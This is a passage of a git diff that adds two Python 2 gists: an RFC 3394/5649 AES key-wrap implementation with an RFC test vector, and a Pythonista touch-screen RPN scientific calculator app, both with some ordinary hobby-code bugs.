@@ -0,0 +1,80 @@
+'''
+Key wrapping and unwrapping as defined in RFC 3394.  
+Also a padding mechanism that was used in openssl at one time.  
+The purpose of this algorithm is to encrypt a key multiple times to add an extra layer of security.
+
+Personally, I wouldn't recommend using this for most applications.  
+Just use AES/mode CTR to encrypt your keys, the same as you would any other data.  
+The time to use this code is when you need compatibility with another system that implements the RFC.  
+(For example, these functions are compatible with the openssl functions of the same name.)
+
+Performance should be reasonable, since the heavy lifting is all done in PyCrypto's AES.
+'''
+import struct
+from Crypto.Cipher import AES
+
+QUAD = struct.Struct('>Q')
+
+def aes_unwrap_key_and_iv(kek, wrapped):
+    n = len(wrapped)/8 - 1
+    #NOTE: R[0] is never accessed, left in for consistency with RFC indices
+    R = [None]+[wrapped[i*8:i*8+8] for i in range(1, n+1)]
+    A = QUAD.unpack(wrapped[:8])[0]
+    decrypt = AES.new(kek).decrypt
+    for j in range(5,-1,-1): #counting down
+        for i in range(n, 0, -1): #(n, n-1, ..., 1)
+            ciphertext = QUAD.pack(A^(n*j+i)) + R[i]
+            B = decrypt(ciphertext)
+            A = QUAD.unpack(B[:8])[0]
+            R[i] = B[8:]
+    return "".join(R[1:]), A
+
+#key wrapping as defined in RFC 3394
+#http://www.ietf.org/rfc/rfc3394.txt
+def aes_unwrap_key(kek, wrapped, iv=0xa6a6a6a6a6a6a6a6):
+    key, key_iv = aes_unwrap_key_and_iv(kek, wrapped)
+    if key_iv != iv:
+        raise ValueError("Integrity Check Failed: "+hex(key_iv)+" (expected "+hex(iv)+")")
+    return key
+
+#alternate initial value for aes key wrapping, as defined in RFC 5649 section 3
+#http://www.ietf.org/rfc/rfc5649.txt
+def aes_unwrap_key_withpad(kek, wrapped):
+    if len(wrapped) == 16:
+        plaintext = AES.new(kek).decrypt(wrapped)
+        key, key_iv = plaintext[:8], plaintext[8:]
+    else:
+        key, key_iv = aes_unwrap_key_and_iv(kek, wrapped)
+    key_iv = "{0:016X}".format(key_iv)
+    if key_iv[:8] != "A65959A6":
+        raise ValueError("Integrity Check Failed: "+key_iv[:8]+" (expected A65959A6)")
+    key_len = int(key_iv[8:], 16)
+    return key[:key_len]
+
+def aes_wrap_key(kek, plaintext, iv=0xa6a6a6a6a6a6a6a6):
+    n = len(plaintext)/8
+    R = [None]+[plaintext[i*8:i*8+8] for i in range(0, n)]
+    A = iv
+    encrypt = AES.new(kek).encrypt
+    for j in range(6):
+        for i in range(1, n+1):
+            B = encrypt(QUAD.pack(A) + R[i])
+            A = QUAD.unpack(B[:8])[0] ^ (n*j + i)
+            R[i] = B[8:]
+    return QUAD.pack(A) + "".join(R[1:])
+
+def aes_wrap_key_withpad(kek, plaintext):
+    iv = 0xA65959A600000000 + len(plaintext)
+    plaintext = plaintext + "\0" * ((8 - len(plaintext)) % 8)
+    if len(plaintext) == 8:
+        return AES.new(kek).encrypt(QUAD.pack[iv] + plaintext)
+    return aes_wrap_key(kek, plaintext, iv)
+
+def test():
+    #test vector from RFC 3394
+    import binascii
+    KEK = binascii.unhexlify("000102030405060708090A0B0C0D0E0F")
+    CIPHER = binascii.unhexlify("1FA68B0A8112B447AEF34BD8FB5A7B829D3E862371D2CFE5")
+    PLAIN = binascii.unhexlify("00112233445566778899AABBCCDDEEFF")
+    assert aes_unwrap_key(KEK, CIPHER) == PLAIN
+    assert aes_wrap_key(KEK, PLAIN) == CIPHER
\ No newline at end of file
diff --git a/hard-gists/4245408/._snippet.py b/hard-gists/4245408/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4245408/._snippet.py differ
diff --git a/hard-gists/4245408/snippet.py b/hard-gists/4245408/snippet.py
new file mode 100644
index 00000000..e140126e
--- /dev/null
+++ b/hard-gists/4245408/snippet.py
@@ -0,0 +1,848 @@
+#version 1.2 8 dec. 2012 PKHG
+#---------
+#inverse sin etc. deg <-> rad
+#4 12 2012 prgramming preparations
+#UNDO partly done
+from scene import *
+from random import random
+from string import ascii_lowercase
+from math import *
+from random import random
+########## some globals easier typing
+memories = {}
+l_n = {}
+l_red_n ={}
+mesg = None
+info = None
+rad_set = True 
+#hyp_setting = ''
+last_x = 'TODO'
+hyp_set = False 
+#???done_18_red = False 
+pgrm_mode = 0
+pgrm_data ={}
+pdata_length = 0
+copy_xyzw_data = []
+copy_xyzw_pgrm = ['','','','']
+infos = ['DEG', 'RAD', 'DEG HYP', 'RAD HYP', 'pgrm mode'] # others append!
+infos.append('Clear tap: 0 >X, 1 ->MEMs 2 ->Pgrm, 3 ->sum, 4 ->cancel') #nr. 5
+infos.append('MEMs set to 0')
+info_mode = 1
+input_action = False 
+clear_info_shown = False 
+confirmed = False 
+ch_ob = {'data':['0','1','2','3','4','UNDO'],'active':False, 'but':{}}
+save_state = {'memories':[ii for ii in range(41)],'pressed_but':-1,'info_mode':-1}
+
+
+class MyButton (Scene):
+	def __init__(self, x=10, y=10, w=1, h=1, txt='      '):
+		self.x, self.y = x, y
+		self.txt = txt
+		self.w, self.h = w, h
+		self.b_red = False
+		self.red, self.green, self.blue = Color(1,0,0), Color(0,1,0), Color(0,0,1)
+		self.l_buf_normal =[]
+		self.alphabet = []
+		self.a_places = [ el for el in range(31,37)]
+		tmp = [el for el in range(25,31)]
+		self.a_places.extend(tmp)
+		tmp = [el for el in range(20,24)]
+		self.a_places.extend(tmp)
+		tmp = [el for el in range(16,19)]
+		self.a_places.extend(tmp)
+		tmp = [el for el in range(11,14)]
+		self.a_places.extend(tmp)
+		tmp = [el for el in range(6,9)]
+		tmp.append(1)
+		self.a_places.extend(tmp)
+		#self.memories = {}
+		for el in self.a_places:
+			memories[el] = str(el)
+		#print(self.a_places)
+		#print memories
+		memories[37]=' 0'
+		for el in range(38,41):
+			memories[el] = '  0  '
+		self.action = -1
+		self.digit_places = [1,6,7,8,11,12,13,16,17,18]
+		self.digit_found = -1
+		self.rad_deg, size = render_text('rad -> deg')
+		self.deg_rad,size = render_text('deg -> rad')
+		self.names = None	
+		
+	def add_pgrm_data(self,but):
+		global pgrm_data,pdata_length, info_modey, pgrm_mode, copy_xyzw_data, copy_xyzw_pgrm
+		if but == 5 and pdata_length == 0:
+			pgrm_mode = 2
+			return #back from Pgrm and Red 
+			
+		if self.b_red:
+			#print 'add_prgm L 74',but
+			if but == 3:  #Pgrm ends this Pgrm-mode RESTORE!
+				self.b_red = False 
+				pgrm_mode = 0
+				#print 'DBG L81',copy_xyzw_data[:]
+				for el in range(4):
+					memories[37+el] = copy_xyzw_data[el]
+					txt = self.adjust_txt(copy_xyzw_data[el])
+					img , size = render_text(txt)
+					self.root_layer.sublayers[37+el].image = img
+				copy_xyzw_data =[]
+				self.root_layer.sublayers[3].background = self.blue
+				self.root_layer.sublayers[5].background = self.blue
+				self.change_info(1,col=Color(0,1,0))
+				self.set_normal()
+				return #FINISHED
+#PKHG.TODO ?? next line ??!!
+			but = 38 + but
+			#print 'dbg L92',but
+		s = 0 #to simplify adding an integer
+		if but in self.digit_places:
+			tmp = self.digit_places.index(but)
+			if self.digit_found == -1:
+				self.digit_found = 1
+				pgrm_data[pdata_length] = tmp
+				s = tmp
+			else:
+				try:
+					pdata_length -= 1
+					s = tmp + 10 * pgrm_data[pdata_length]
+					pgrm_data[pdata_length] = s
+					self.digit_found += 1	
+				except:
+					print '***ERROR INPUT OF INT TOO LONG'
+					pdata_length += 1
+					self.digit_found = -1
+			#print '		digit found ',tmp
+		else:
+			pgrm_data[pdata_length] = [but, info_mode]
+			self.digit_found = -1
+			######## hier 
+		for el in range(3,0,-1):
+			copy_xyzw_pgrm[el] = copy_xyzw_pgrm[el-1]
+		if self.digit_found > 0:
+			#print s
+			copy_xyzw_pgrm[0] = 'adr ' + str(pdata_length) + ' ' + str(s)
+		else:		
+			copy_xyzw_pgrm[0] = 'adr ' + str(pdata_length) + ' ' + self.names[but]		
+		pdata_length += 1
+		for el in range(4):
+			txt = self.adjust_txt(copy_xyzw_pgrm[el])
+			img , size = render_text(txt)
+			self.root_layer.sublayers[37+el].image = img
+		
+	def m_one_txt_layer(self, txt, x, y, col=Color(0,0,0), extra = 0):
+		#img, size = render_text(txt, font_size=30)
+		img, size = render_text('Peter')
+		#print(img,size)
+		lay = Layer(Rect(x, y, size.w, size.h + 10 + extra))
+		#lay.image ='Baby_Chick_1'
+		lay.image = img 
+		lay.background = col
+		return lay
+	
+	def adjust_txt(self,txt,width=30):
+		lt = len(txt)
+		vo = int((width-lt)/2)
+		na = width - vo - lt
+		txt = ' '*vo + txt + ' '*na
+		return txt
+	
+	def adjust_display(self, txt, col=Color(0,0,1)):
+		txt = self.adjust_txt(txt)
+		img , size = render_text(txt)
+		self.root_layer.sublayers[37].image = img
+		self.root_layer.sublayers[37].background = col
+	
+	def change_mesg(self, message, col=Color(1,0,0)):
+		global mesg
+		img,size = render_text(str(message))
+		mesg.background = col
+		mesg.image = img
+	
+	def change_info(self,infos_index,col=Color(0,0,0)):
+		global infos, info
+		tmp = self.adjust_txt(infos[infos_index],width=50)
+		img,size = render_text(tmp)
+		info.background = col
+		info.image = img
+		
+	def m_layer(self,txt,col,row,width_1,width_2,extra=0,backgr = Color(0,0,1),w_stroke=True):
+		img, size = render_text(txt, font_size = 30)
+		layer = Layer(Rect(self.x + col * (width_1+extra), self.y + 45 * row, width_2, self.h + size.h))
+		layer.stroke_weight = 1
+		if w_stroke:
+			layer.stroke = Color(0,1,0)
+		layer.background = backgr
+		layer.image = img
+		self.root_layer.add_layer(layer)
+		self.all_layers.append(layer)
+		return layer
+			
+	def setup(self):	
+		global mesg, info, ch_ob
+		# This will be called before the first frame is drawn.
+		# Set up the root layer and one other layer:
+		self.root_layer = Layer(self.bounds)
+		#center = self.bounds.center()
+	
+		self.l_n, l_but_info, maks = self.make_l_n()
+		self.l_buf_normal = l_but_info
+		self.all_layers =[]
+		for row in range(4):
+			for col in range(5):
+				wi = col + 5 * row + self.b_red * 38
+				self.m_layer(l_n[wi],col,row,maks,maks,50)
+		self.m_layer(l_n[20+self.b_red*38],0,4,maks,maks)
+		for ii in range(21,25):
+			self.m_layer(l_n[(ii+self.b_red*38)], ii % 20, 4, maks,maks,50)
+		for ii in range(25,31):
+			self.m_layer(l_n[(ii+self.b_red*38)], ii % 25, 5, maks,maks,25)
+		for ii in range(31,37):
+			self.m_layer(l_n[(ii+self.b_red*38)], ii % 31, 6, maks,maks,25)
+		#l_n[37] = memories[37]
+		memories[37] = l_n[37+self.b_red*38]
+		for ii in range(4):
+			memories[37+ii] = self.adjust_txt(memories[37+ii])
+			self.m_layer(memories[37+ii],0, 7.5 + ii, 200, 300)
+		n_xyzw = ['x','y','z','w']
+		for ii in range(4):
+			#print self.root_layer.sublayers[37].frame #==> Rect(x=10, y=347.5, w=300, h=36.0)
+			self.m_layer(n_xyzw[ii],10.2, 7.5 +ii,30,36,backgr=Color(0,0,0),w_stroke=False )
+			#print self.root_layer.sublayers[-1].frame
+		self.m_layer('messages:',1, 7.5 + 5,0,100,backgr=Color(0,0,0),w_stroke=False )
+		#print self.root_layer.sublayers[-1].frame #Rect(x=10, y=572.5, w=100, h=36.0)
+		self.m_layer(self.adjust_txt('OK',width=50),10, 7.5 + 5,12,500,backgr=Color(0,1,0))
+		mesg = self.root_layer.sublayers[-1] #mesg is global	
+		self.m_layer('info:',1, 7.5 + 6,0,100,backgr=Color(0,0,0),w_stroke=False )
+		#print self.root_layer.sublayers[-1].frame #Rect(x=10, y=572.5, w=100, h=36.0)
+		self.m_layer(self.adjust_txt('Rad',width=50),10, 7.5 + 6,12,500,backgr=Color(0,1,0))
+		info = self.root_layer.sublayers[-1] #info is global
+		#print 'info',type(info),info
+		self.m_layer('choices:',1, 7.5 + 7,0,100,backgr=Color(0,0,0),w_stroke=False )
+		self.m_layer('extra:',1, 7.5 + 8,0,100,backgr=Color(0,0,0),w_stroke=False )
+		#ch_ob = {'data':['0','1','2','3','4','cancel'],'active':False, 'but':{}}	
+		#def m_layer(self,txt,col,row,width_1,width_2,extra=0,backgr = Color(0,0,1),w_stroke=True):
+		for ii in range(5):
+			ch_ob['but'][ii] = self.m_layer(ch_ob['data'][ii],1.65+ii,14.5,maks*0.5,maks,50)
+		ch_ob['but'][5] = self.m_layer(ch_ob['data'][5],1.65,15.5,maks*0.5,maks,50,backgr=Color(1,.3,1))
+		
+	def set_normal(self):
+			#for ii, w in enumerate(self.a_places):
+			for w in range(37):
+				img,size = render_text( self.l_n[w +38 *self.b_red])
+				self.root_layer.sublayers[w].image = img
+			
+	def draw(self):
+		# Update and draw our root layer. For a layer-based scene, this
+		# is usually all you have to do in the draw method.
+		background(0, 0, 0)
+		self.root_layer.update(self.dt)
+		self.root_layer.draw()
+	
+	def touch_began(self, touch):
+		global input_action, save_state, info_mode, clear_info_shown, pgrm_data, confirmed
+		def prepare_undo(but):
+			print('***********   prepare_undo called')
+		#save_state = {'memories':[],'pressed_but':-1,'info_mode':-1}
+			save_state['info_mode'] = info_mode
+			for el in memories:
+				save_state['memories'][el] = memories[el]
+			save_state['pressed_but'] = but
+		#check, which button is touched			
+		t_button = -1
+		for i, el in enumerate(self.all_layers):
+			if touch.location in el.frame:
+				t_button = i
+				break
+		#for touched_button
+		def do_UNDO():
+			global clear_info_shown
+			#print('DBG L 262 UNDO',clear_info_shown)
+			if clear_info_shown:  # clear what?!
+				clear_info_shown = False 
+				self.change_info(1, col=Color(0,0,1))
+			else:
+				for ii, el in enumerate(save_state['memories']):
+					memories[ii] = el
+				info_mode = save_state['info_mode']
+				self.change_info(info_mode, self.green)
+				for el in range(37,41):
+					img, size = render_text(self.adjust_txt(memories[el]))
+					self.root_layer.sublayers[el].image = img
+					
+##### real begin of touch_begin **********************************			
+		print 'dbg touch black?',i,t_button
+		#print self.root_layer.sublayers[i].frame
+		#t_button == -1 => no button touched!!
+		if t_button == 56: #UNDO
+			print '**********                               undo called'
+			do_UNDO()
+			return
+		if clear_info_shown and t_button in [51, 52, 53, 54, 55]:
+			clear_info_shown = False
+			self.change_info(info_mode, col=Color(0,0,1))
+			if confirmed and (t_button <> 53):
+				confirmed = False 
+				self.change_mesg('OK',Color(0,1,0))		
+			if t_button == 55: #but 4 = cancel?!
+				return
+			if t_button == 51: #X reg
+				memories[37] = ''
+				self.adjust_display(' ')
+				return			
+			if t_button == 52:
+				clear_memories()
+				self.change_info(6)
+				return
+			if t_button == 53:		
+				if confirmed:		
+					pgrm_data ={}
+					print('*** INFO PGRM CLEARED')
+					confirmed = False
+					self.change_mesg('Pgrm CLEARED',Color(0,1,1))
+				else:
+					self.change_mesg('REALLY? confirm: tap me again!',Color(1,0,0))				
+					clear_info_shown = True 	
+					confirmed =True 
+				return
+			if t_button == 54:
+				print('*** INFO CLEAR SUM NOT YET IMPLEMENTED')
+				return
+
+			return # canceled nothing to do ;-)
+		if t_button < 0 or t_button > 36: #not handled but? Yes, return!
+			return 
+####normal commands
+		prepare_undo(t_button)
+ 		#print save_state
+		self.exe_commands(t_button)
+		
+	def exe_commands(self,t_button):	
+		global mesg, last_x, hyp_set, pgrm_mode, save_state
+		error =''
+		def set_alphabet():
+			for ii, w in enumerate(self.a_places):
+				img , size = render_text('  '+ascii_lowercase[ii] + '  ')
+				self.root_layer.sublayers[w].image = img
+				
+		def mem_up():
+			for el in range(39,36,-1):
+				memories[el+1] = memories[el]
+			for el in range(37,41):
+				img, size = render_text(self.adjust_txt(memories[el]))
+				self.root_layer.sublayers[el].image = img
+				
+		def mem_down():
+			for el in [39,40]:
+				memories[el-1] = memories[el]		
+			#memories[40] = '0'
+			for el in range(37,41):
+				img, size = render_text(self.adjust_txt(memories[el]))
+				self.root_layer.sublayers[el].image = img
+		
+		def rotate_down():
+			tmp = memories[37]
+			for el in [38,39,40]:
+				memories[el-1] = memories[el]
+			memories[40] = tmp
+			for el in range(37,41):
+				img, size = render_text(self.adjust_txt(memories[el]))
+				self.root_layer.sublayers[el].image = img
+		
+		def red_actions(but):
+			global hyp_set, rad_set, pgrm_mode, info_mode #???done_18_red
+			global clear_info_shown, input_action
+			error = 'not yet impemented '
+			if but == 31: #X^2
+				try:
+					tmp = float(memories[37])**2
+					memories[37]=str(tmp)
+					error =''
+				except:
+					error = '***ERROR X^2 X=' #+ memories[37]
+			elif but == 32: #10^X
+				try:
+					tmp = 10**float(memories[37])
+					memories[37] = str(tmp)
+					error = ''
+				except :
+					error = '***ERROR 10^X X='
+			elif but == 33: #LOG(X)
+				try:
+					tmp = log10(float(memories[37]))
+					memories[37] = str(tmp)
+					error = ''
+				except :
+					'***ERROR LOG(X) X='
+			elif but == 22:
+			#	print '22 tapped',rad_set
+				error = ''
+				rad_set = not rad_set
+				if rad_set:
+					self.root_layer.sublayers[22].background = self.blue
+					self.root_layer.sublayers[18].image = self.deg_rad		
+				else: 
+					self.root_layer.sublayers[22].background = self.red	
+					self.root_layer.sublayers[18].image = self.rad_deg	
+				info_mode = 1*rad_set+2*hyp_set
+				self.change_info(info_mode,col=Color(random(),random(),1))			
+			elif but == 25:
+				error = 'COMPLX TAPPED, not yet implemented'
+			elif but == 24: #CLEAR
+				clear_info_shown = True 
+				input_action = True 
+				self.change_info(5)
+				error = ''
+				#CLEAR X VARS PROG SUM
+			elif  but == 26: #pi
+				error = ''
+				memories[37] = str(pi)
+			elif but == 27: #SET HYP
+				hyp_set = not hyp_set
+				if hyp_set:
+					self.root_layer.sublayers[27].background = self.red
+				else: 
+					self.root_layer.sublayers[27].background = self.blue
+				#TODO needs indicator
+				info_mode = 1*rad_set+2*hyp_set
+				self.change_info(info_mode,col=Color(random(),random(),1))			
+				#self.adjust_display('HYP set')
+				error = ''
+			elif but == 20: #LAST_X
+				error = ''
+				memories[37] = last_x
+				#print '*RED 20****DBG', type(last_x), last_x
+			elif but == 18: #DEG <=> RAD
+				try:
+					arg = float(memories[37])
+					if rad_set:
+						memories[37] = str(radians(arg))
+						#self.root_layer.sublayers[18].image = self.deg_rad		
+					else:
+						memories[37] = str(degrees(arg))
+						#self.root_layer.sublayers[18].image = self.rad_deg
+					error = ''
+				except:
+					error = '***ERROR DEG <=> RAD'
+			elif but == 28: #ASIN
+				try:
+					arg =float(memories[37])
+					memories[37] = str(asin(arg))
+					error = ''
+				except :
+					error = '***ERROR asin'
+			elif but == 29: #ACOS
+				try:
+					arg =float(memories[37])
+					memories[37] = str(acos(arg))
+					error = ''
+				except :
+					error = '***ERROR acos'
+			elif but == 30: #ATAN
+				try:
+					arg =float(memories[37])
+					memories[37] = str(atan(arg))
+					error = ''
+				except :
+					error = '***ERROR atan'
+			elif but == 3: #PGRM
+				col = self.red
+				error = ''
+				#print('Pgrm tap ', pgrm_mode,' data =',pgrm_data.values())
+				if pgrm_mode == 0:
+					for el in range(37,41):
+						copy_xyzw_data.append(memories[el])
+					#print 'xyzw saved in copy_xyzw_data'
+					pgrm_mode = 1 # first time not in Pgrm!
+					self.change_info(4, col=Color(0,0,1))
+				elif pgrm_mode == 2:
+					pgrm_mode = 0
+					col = self.blue
+				else:
+					prgm_mode = 0 # disable Pgrm mode
+					self.change_info(info_mode, col=Color(0,0,1))
+					col = self.blue
+				self.root_layer.sublayers[3].background = col
+				
+			elif but == 0: #OFF
+				#from sys import exit
+				#exit(0)
+				print 'saved commands'
+				for el in pgrm_data.values():
+					print el
+				error = 'tap x to real exit'
+				#self.change_mesg(self.adjust_txt('tap x to real exit', width=50),col=Color(1,1,0))
+			if not error and pgrm_mode == 0:
+				self.adjust_display(memories[37])
+			return error
+
+		if  t_button == 5:     #RED is a toggle
+			if self.b_red:
+				self.b_red = False
+				self.root_layer.sublayers[t_button].background = self.blue
+				self.change_mesg(self.adjust_txt('OK', width=50),col=Color(0,1,0))
+				self.root_layer.sublayers[27].background = self.blue			
+				self.root_layer.sublayers[22].background = self.blue
+				col = self.blue
+				if hyp_set:	
+					col = self.red
+				for bu in range(28,31):
+					self.root_layer.sublayers[bu].background = col
+				#if prgm_mode == 'active': #PKHG if really needed?
+					#self.root_layer.sublayers[3].background = self.blue
+			else:
+				self.b_red = True		
+				self.root_layer.sublayers[t_button].background = self.red
+				for bu in range(28,31):
+					self.root_layer.sublayers[bu].background = self.blue
+				if hyp_set:
+					self.root_layer.sublayers[27].background = self.red
+				else: 
+					self.root_layer.sublayers[27].background = self.blue
+				#TODO needs indicator
+			self.set_normal()
+#### already a return for new touch, RED changes layout with corresponing actions
+			if pgrm_mode > 0:
+				if pgrm_mode > 1:
+					self.add_pgrm_data(5)
+				else:
+					pgrm_mode = 2
+			return
+		
+		if pgrm_mode:
+			self.add_pgrm_data(t_button)	
+		elif self.b_red:
+			error = red_actions(t_button)
+		elif self.action == 25: #STO
+			#print 'nu sto checken'
+			if t_button in self.a_places:
+				tmp = memories[37]
+				#print 'wat=',tmp, 'where',t_button
+				if tmp.find('***') <  0:
+					memories[37] = '0'
+				memories[t_button] = tmp #WHY NOT MEMORIES[37] POSSIBLE.
+				#print 'stored',memories[t_button]
+				self.action = -1
+				memories[37] = tmp
+				#self.setup()
+				self.set_normal()
+				self.adjust_display(memories[37])
+		elif self.action == 26: # RCL
+			#print 'nu rcl check'
+			#print memories
+			#print 'de t_button', t_button
+			if t_button in self.a_places:
+				#print 'value to set',memories[t_button]
+				self.action = -1
+				memories[37]= memories[t_button]
+				self.set_normal()
+				self.adjust_display(memories[37])		
+		elif t_button in self.digit_places:
+			#print 'digit place',t_button
+			print '>',memories[37],'<'
+			if memories[37].strip() == '0':
+				memories[37] = ''
+			if self.action == -1:
+				self.action = -2
+				#mem_up()+
+				w = self.digit_places.index(t_button)
+				memories[37] = str(w)
+				self.adjust_display(memories[37])
+			elif self.action == -2:
+				#max check!! digit . check
+				w = self.digit_places.index(t_button)
+				memories[37] += str(w)
+				self.adjust_display(memories[37])
+				
+		elif t_button in [4,9,14,19]: # + - * /
+			self.action = -1
+			try:
+				arg1 = float(memories[38])
+			except:
+				error = "***ERROR arg1, zero used"
+				arg1 = 0
+			try:
+				arg2 = float(memories[37])
+			except:
+				error += " ***ERROR arg2, zero used"
+				arg2 = 0
+			if t_button == 4: #add
+				memories[37] = str(arg1 + arg2)
+			elif t_button == 9:
+				memories[37] = str(arg1 - arg2)
+			elif t_button == 14:
+				memories[37] = str(arg1 * arg2)
+			elif t_button == 19:
+				try:
+					memories[37] = str(arg1 / arg2)  #no division by zero!
+				except:
+					memories[37] = str(arg1) +'x / 0 ***Clear me!'
+					
+			mem_down()		
+		elif t_button == 25:    #STO prepare
+			self.action = 25
+			set_alphabet()
+		elif t_button == 26:    #RCL prepare
+			self.action = 26 
+			set_alphabet()	
+		elif t_button == 27: #ROTATE DOWN
+			rotate_down()
+		elif t_button == 0: #CLEAR
+			memories[37] = ''
+			self.adjust_display('')
+		elif t_button == 2:
+			#print '. touched'
+			#print('www',memories[37].find('.'))
+			if memories[37].find('.') < 0:
+				memories[37] = memories[37].strip() + '.'
+				self.adjust_display(memories[37])
+		
+		elif (self.action == -1 or self.action ==-2) and t_button ==  20: # ENTER CASE
+			last_x = memories[37]
+			#print 'but' + str(t_button) + ' pressed', type(last_x), last_x
+			mem_up()
+			self.action =-1		
+			self.adjust_display(memories[37])	
+		elif t_button == 24:
+			tmp = memories[37].strip()
+			if len(tmp) > 0:
+				memories[37] = tmp[:-1]
+				self.adjust_display(memories[37])			
+		elif t_button == 21: # x<>y
+			tmp = memories[38]
+			memories[38] = memories[37]
+			img, size = render_text(self.adjust_txt(memories[38]))
+			#img, size = render_text(memories[38])
+			self.root_layer.sublayers[38].image = img
+			memories[37] = tmp
+			self.adjust_display(memories[37])
+			
+		elif t_button == 22:   # +- button
+			if self.action == -2:
+				tmp = memories[37]
+				tep = tmp.find('e')
+				if tep > -1:
+					mant = tmp[:tep+1]
+					expd = tmp[(tep+2):]
+					#print 'expd',len(expd),expd
+					len_expd = len(expd)				
+					try:
+						expd = str(-int(float(expd)))
+					except:
+						expd = '-'			
+					#print 'expd',len(expd),expd	
+					memories[37] = mant + expd
+				else:
+					try:
+						tmp = -float(memories[37]) 
+						memories[37] = str(tmp)
+					except:
+						memories[37] = '-'
+				self.adjust_display(memories[37])
+			
+		elif t_button == 23: #E case
+			tmp = memories[37].find('e')
+			if tmp < 0:
+				self.action = -2 
+				memories[37] += 'e'
+				self.adjust_display(memories[37])
+			else:
+				self.action = -2
+		
+		elif t_button == 35:  # 1/x 
+			try:
+				tmp = 1.0 / float(memories[37])
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except:
+				error = '1/x ***ERROR.?? with '
+		
+		elif t_button == 31: #SQRT
+			try:
+				tmp = sqrt(float(memories[37]))
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** SQRT ERROR WITH'
+		
+		elif t_button == 32: #EXP
+			try:
+				tmp = exp(float(memories[37]))
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** EXP ERROR WITH '
+		
+		elif t_button == 33: #LOG
+			try:
+				tmp = log(float(memories[37]))
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** LOG ERROR WITH '
+		
+		elif t_button == 34: #Y^X
+			try:
+				tmp = float(memories[38])**float(memories[37])
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** Y^X ERROR WITH '
+				
+		elif t_button ==  28: #SIN
+			try:
+				arg = float(memories[37])
+				if hyp_set:
+					tmp = sinh(arg)
+				else:
+					if not rad_set:
+						arg = radians(arg)
+					tmp = sin(arg)
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** SIN(H) ERROR WITH '
+
+		elif t_button ==  29: #COS
+			try:
+				arg = float(memories[37])
+				if hyp_set:
+					tmp = cosh(arg)
+				else: 
+					if not rad_set:
+						arg = radians(arg)
+					tmp = cos(arg)
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** COS(H) ERROR WITH '
+		elif t_button ==  30: #TAN TANH
+			try:
+				arg = float(memories[37])
+				if hyp_set:
+					tmp = tanh(arg)
+				else:
+					if not radians(arg):
+						arg = radians(arg)	
+					tmp = tan(arg)			
+				memories[37] = str(tmp)
+				self.adjust_display(memories[37])
+			except :
+				error = '*** TAN(H) ERROR WITH '
+
+		elif t_button == 3: #R/S
+			print pgrm_data
+			ueerror = 'R/S not yet'
+		if error:
+			tmp = error + '"' + memories[37] + '"'
+			self.change_mesg(tmp)
+			#print tmp
+		else:
+			self.change_mesg(self.adjust_txt('OK', width=50),col=Color(0,1,0))
+	
+	def touch_moved(self, touch):
+		pass
+	
+	def touch_ended(self, touch):
+		pass
+
+	def make_l_n(self):
+		"""make names for lower part of calculator"""
+#		l_n = {}
+		l_n[0] = "  C  "
+		l_n[1] = "  0  "
+		l_n[2] = "  .  "
+		l_n[3] = " R/S "
+		l_n[4] = "  +  "
+		l_n[5] = " RED "
+		l_n[6] = "  1  "
+		l_n[7] = "  2  "
+		l_n[8] = "  3  "
+		l_n[9] = "  -  "
+		l_n[10] = "down"
+		l_n[11] = "  4  "
+		l_n[12] = "  5  "
+		l_n[13] = "  6  "
+		l_n[14] = "  *  "
+		l_n[15] = " XEQ "
+		l_n[16] = "  7  "
+		l_n[17] = "  8  "
+		l_n[18] = "  9  "
+		l_n[19] = "  /  "
+		l_n[20] = 'ENTER'
+		l_n[21] = 'x<>y'
+		l_n[22] = '+/-'
+		l_n[23] = '  E  '
+		l_n[24] = ' <== '
+		l_n[25] = ' sto '
+		l_n[26] = ' rcl '
+		l_n[27] = 'rot dn'
+		l_n[28] = ' SIN '
+		l_n[29] = ' COS '
+		l_n[30] = 'TAN'
+		l_n[31] = 'SQRT'
+		l_n[32] = 'EXP'
+		l_n[33] = 'LN'
+		l_n[34] = 'Y^X'
+		l_n[35] = '1/X'
+		l_n[36] = 'sum +'
+		l_n[37] = self.adjust_txt('0')
+		######red ones
+		l_n[38+0] = "  OFF  "
+		l_n[38+1] = "  input  "
+		l_n[38+2] = "  show  "
+		l_n[38+3] = " Pgrm "
+		l_n[38+4] = " View  "
+		l_n[38+5] = " RED "
+		l_n[38+6] = " save/restore "
+		l_n[38+7] = " stat "
+		l_n[38+8] = " prob "
+		l_n[38+9] = " mem "
+		l_n[38+10] = " ^ "
+		l_n[38+11] = " lbl/rtn "
+		l_n[38+12] = " loop "
+		l_n[38+13] = " flags "
+		l_n[38+14] = " tests "
+		l_n[38+15] = " gto "
+		l_n[38+16] = "P<>R"
+		l_n[38+17] = "H<>HMS"
+		l_n[38+18] = "deg -> rad"
+		l_n[38+19] = "Base"
+		l_n[38+20] = 'Last X'
+		l_n[38+21] = 'parts'
+		l_n[38+22] = 'rad/deg'
+		l_n[38+23] = 'disp'
+		l_n[38+24] = 'clear'
+		l_n[38+25] = 'complx'
+		l_n[38+26] = ' pi  '
+		l_n[38+27] = 'HYP'
+		l_n[38+28] = 'ASIN'
+		l_n[38+29] = 'ACOS'
+		l_n[38+30] = 'ATAN'
+		l_n[38+31] = 'x^2'
+		l_n[38+32] = '10^x'
+		l_n[38+33] = 'LOG'
+		l_n[38+34] = '%'
+		l_n[38+35] = '%CHG'
+		l_n[38+36] = 'sum -'
+		l_n[38+37] = self.adjust_txt('0')
+		self.names = l_n
+		l_but_inf = {}
+		for i, el in enumerate(l_n.values()):
+			#print el
+			l_but_inf[i] = render_text(l_n[i], font_size = 30)
+		#print(l_but_inf[0])
+		tmp = [l_but_inf[i][1].w for i in range(20)]
+		#print tmp
+		#print max(tmp)
+		return (l_n, l_but_inf, max(tmp))
+
+def clear_memories():
+	for ii in range(41):
+		memories[ii] = '0'
+	print '*** INFO: memories set to "0"'
+		
+run(MyButton())
+
